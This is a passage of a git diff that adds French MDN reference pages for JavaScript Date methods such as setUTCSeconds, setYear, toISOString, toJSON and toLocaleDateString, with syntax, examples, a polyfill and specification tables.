index 0000000000..a616281d12
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.setUTCSeconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCSeconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCSeconds()</strong></code> définit les secondes pour la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCSeconds(valeurSecondes[, valeurMs]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Un entier entre 0 et 59.</dd>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre <code>valeurMs</code> n'est pas utilisée, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} sera utilisée.</p>
+
+<p>Si un paramètre renseigné est en dehors de l'intervalle attendu, <code>setUTCSeconds()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour <code>valeurSecondes</code>, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCSeconds()">Utiliser <code>setUTCSeconds()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCSeconds(20);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCSeconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html
new file mode 100644
index 0000000000..d3f6283cab
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.setYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setYear
+tags:
+  - Date
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La méthode <strong><code>setYear()</code></strong> définit l'année pour pour la date, selon l'heure locale. <code>setYear()</code> ne définissant pas des années complêtes ( « bug de l'an 2000 » ), elle n'est plus utilisée et a été remplacée par la méthode {{jsxref("Date.prototype.setFullYear", "setFullYear")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setYear(valeurAnnée)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurAnnée</code></dt>
+ <dd>Un entier.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si <code>valeurAnnée</code> est un nombre entre 0 et 99 (inclus), alors l'année de <code>dateObj</code> sera définie à 1900 + <code>valeurAnnée</code>. Sinon, l'année de <code>dateObj</code> sera définie à <code>valeurAnnée</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setYear()">Utiliser <code>setYear()</code></h3>
+
+<p>Les deux premières instructions définissent l'année 1996. La troisième définit l'année 2000.</p>
+
+<pre class="brush: js">var leGrandJour = new Date();
+
+leGrandJour.setYear(96);
+leGrandJour.setYear(1996);
+leGrandJour.setYear(2000);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.5', 'Date.prototype.setYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie dans l'annexe informative sur la compatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html
new file mode 100644
index 0000000000..403f48bada
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.toDateString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toDateString
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toDateString()</strong></code> renvoie la date contenue dans un objet {{jsxref("Date")}} sous la forme d'une chaîne de caractères lisible par un humain, en anglais américain et au format suivant :</p>
+
+<ol>
+ <li>Les trois premières lettre indiquent le jour</li>
+ <li>Les trois lettres suivantes indiquent le mois</li>
+ <li>Les deux chiffres suivants indiquent le jour du mois (et sont complétés avec un 0 devant si besoin)</li>
+ <li>Les quatre chiffres restants indiquent l'année (si besoin complétées avec des 0 comme préfixe)</li>
+</ol>
+
+<div>{{EmbedInteractiveExample("pages/js/date-todatestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toDateString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente la date indiquée, dans un format anglais américain.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Date")}} représentent un point précis dans le temps. Appeler {{jsxref("Date.prototype.toString", "toString")}} retournera la date formatée sous une forme lisible par un humain, en anglais américain. Pour le moteur JavaScript <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, ceci consiste en : la partie « date » (jour, mois et année) suivie de la partie « heure » (heures, minutes, secondes et fuseau horaire). Il est parfois préférable d'obtenir uniquement la partie « date » ; ceci est possible grâce à la méthode <code>toDateString()</code>.</p>
+
+<p>La méthode <code>toDateString()</code> est particulièrement utile car, pour les moteurs implémentant fidèlement <a href="/fr/docs/JavaScript/Language_Resources">ECMA-262</a>, il peut y avoir certaines différences dans la chaîne de caractères produite par <code>toString()</code> sur les objets <code>Date</code>. Le format dépend de l'implémentation et les techniques simples de découpage de texte peuvent ne pas produire un résultat cohérent à travers les différents moteurs.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_simplement_toDateString()">Utiliser simplement <code>toDateString()</code></h3>
+
+<pre class="brush:js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // écrit Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // écrit Wed Jul 28 1993</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toDateString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html
new file mode 100644
index 0000000000..23b9d6d054
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html
@@ -0,0 +1,85 @@
+---
+title: Date.prototype.toGMTString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toGMTString
+tags:
+  - Date
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La méthode <code><strong>toGMTString()</strong></code> convertit une date en une chaîne de caractères, en utilisant les conventions Internet pour GMT. Le format exact de la valeur renvoyée par <code>toGMTString()</code> varie en fonction de la plateforme et du navigateur web. En général, le texte produit est formaté pour être lisible par un humain.</p>
+
+<div class="note">
+<p><strong>Note </strong>: <code>toGMTString()</code> est obsolète et ne doit plus être utilisé. Il existe encore uniquementpour des questions de compatibilité. La méthode {{jsxref("Date.prototype.toUTCString", "toUTCString()")}} doit être utilisée à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toGMTString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée selon la convention internet pour GMT (<em>Greenwich Mean Time</em>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toGMTString()">Utiliser <code>toGMTString()</code></h3>
+
+<p>Dans cet exemple, la méthode <code>toGMTString()</code> convertit la date vers GMT (UTC) en utilisant la différence avec le fuseau horaire du système d'exploitation. Elle renvoie une chaîne de caractères similaire à celle de l'exemple. La forme exacte de cette chaîne de caractères dépend de la plateforme.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var str = aujourdhui.toGMTString();  // Obsolète ! Utilisez toUTCString()
+
+console.log(str);               // Mon, 18 Dec 1995 17:28:35 GMT
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale et déjà déclarée comme dépréciée. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.6', 'Date.prototype.toGMTString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie dans l'annexe informative sur la compatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toGMTString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html
new file mode 100644
index 0000000000..f398d25340
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html
@@ -0,0 +1,107 @@
+---
+title: Date.prototype.toISOString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toISOString
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toISOString()</strong></code> renvoie une chaîne de caractères au format ISO (<a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601 Extended Format</a>), qui peut être décrite de cette façon : <code><strong>YYYY-MM-DDTHH:mm:ss.sssZ</strong></code> (toujours longue de 24 caractères) ou de cette façon <strong><code>±YYYYYY-MM-DDTHH:mm:ss.sssZ</code></strong> (27 caractères). Le fuseau horaire est toujours UTC, comme l'indique le suffixe « Z » (pour zéro décalage avec UTC).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-toisostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toISOString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée au format <a href="https://fr.wikipedia.org/wiki/ISO_8601">ISO 8601</a> selon le temps universel.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toISOString()">Utiliser <code>toISOString()</code></h3>
+
+<pre class="brush: js">var aujourdhui = new Date("05 October 2011 14:48 UTC");
+
+console.log(aujourdhui.toISOString()); // Renvoie "2011-10-05T14:48:00.000Z"
+</pre>
+
+<p>L'exemple ci-dessus analyse une chaîne de caractères non-standard, qui peut donc être incorrectement intérprété par des navigateurs n'utilisant pas Gecko.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette méthode fut standardisée avec la cinquième édition d'ECMAScript. Afin d'utiliser cette méthode avec les moteurs qui n'en disposent pas nativement, on pourra utiliser ce fragment de code :</p>
+
+<pre class="brush:js">if ( !Date.prototype.toISOString ) {
+  ( function() {
+
+    function pad(number) {
+      if ( number &lt; 10 ) {
+        return '0' + number;
+      }
+      return number;
+    }
+
+    Date.prototype.toISOString = function() {
+      return this.getUTCFullYear() +
+        '-' + pad( this.getUTCMonth() + 1 ) +
+        '-' + pad( this.getUTCDate() ) +
+        'T' + pad( this.getUTCHours() ) +
+        ':' + pad( this.getUTCMinutes() ) +
+        ':' + pad( this.getUTCSeconds() ) +
+        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+        'Z';
+    };
+
+  }() );
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toISOString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html
new file mode 100644
index 0000000000..0f2b0c7bc7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toJSON
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toJSON()</strong></code> renvoie une chaîne représentant l'objet {{jsxref("Date")}} sous forme {{Glossary("JSON")}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tojson.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toJSON()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Date")}} identifient un instant précis dans le temps. Appeler <code>toJSON()</code> renvoie une chaîne de caractères formatée en JSON (en utilisant {{jsxref("Date.prototype.toISOString", "toISOString()")}}), représentant la valeur de l'objet <code>Date</code>. Cette méthode est généralement utilisée, par défaut, pour sérialiser les objets <code>Date</code> lors d'une sérialisation au format JSON.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_toJSON()">Utiliser <code>toJSON()</code></h3>
+
+<pre class="brush:js">var jsonDate = (new Date()).toJSON();
+var retourVersDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toJSON")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html
new file mode 100644
index 0000000000..b56487fe29
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html
@@ -0,0 +1,186 @@
+---
+title: Date.prototype.toLocaleDateString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleDateString
+tags:
+  - Date
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleDateString()</strong></code> renvoie une chaine de caractères correspondant à la date (le fragment de l'objet qui correspond à la date : jour, mois, année) exprimée selon une locale. Les arguments <code>locales</code> et <code>options</code> permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocaledatestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toLocaleDateString([locales [, options]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Voir le tableau de <a href="#compat">compatibilité des navigateurs</a> afin de déterminer quels navigateurs respectent les arguments <code>locales</code> et <code>options</code> ainsi que l'exemple <a href="#check">Vérifier le support des arguments locales et options</a> qui permet de détecter cette fonctionnalité.</p>
+
+<p>{{page('fr/docs/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}</p>
+
+<p>La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code> sont toutes <code>undefined</code>, on suppose alors que <code>year</code>, <code>month</code>, et <code>day</code> sont « numériques ».</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le jour de la date indiquée selon des options de locales.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toLocaleDateString()">Utiliser <code>toLocaleDateString()</code></h3>
+
+<p>Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.</p>
+
+<pre class="brush:js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleDateString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+date.toLocaleDateString();
+// → "12/12/2012" si exécuté dans une locale fr et le fuseau horaire CEST</pre>
+
+<h3 id="Vérifier_le_support_des_arguments_locales_et_options"><a name="check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a></h3>
+
+<p>Les arguments <code>locales</code> et <code>options</code> ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception<code> RangeError</code> :</p>
+
+<pre class="brush: js">function toLocaleDateStringSupportsLocales() {
+    try {
+        new Date().toLocaleDateString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+</pre>
+
+<h3 id="Utiliser_l'argument_locales">Utiliser l'argument <code>locales</code></h3>
+
+<p>Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise l'ordre mois-jour-année
+alert(date.toLocaleDateString("en-US"));
+// → "12/20/2012"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+alert(date.toLocaleDateString("en-GB"));
+// → "20/12/2012"
+
+// le coréen utilise l'ordre année-mois-jour
+alert(date.toLocaleDateString("ko-KR"));
+// → "2012. 12. 20."
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+alert(date.toLocaleDateString("ar-EG"));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢</span>"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+alert(date.toLocaleDateString("ja-JP-u-ca-japanese"));
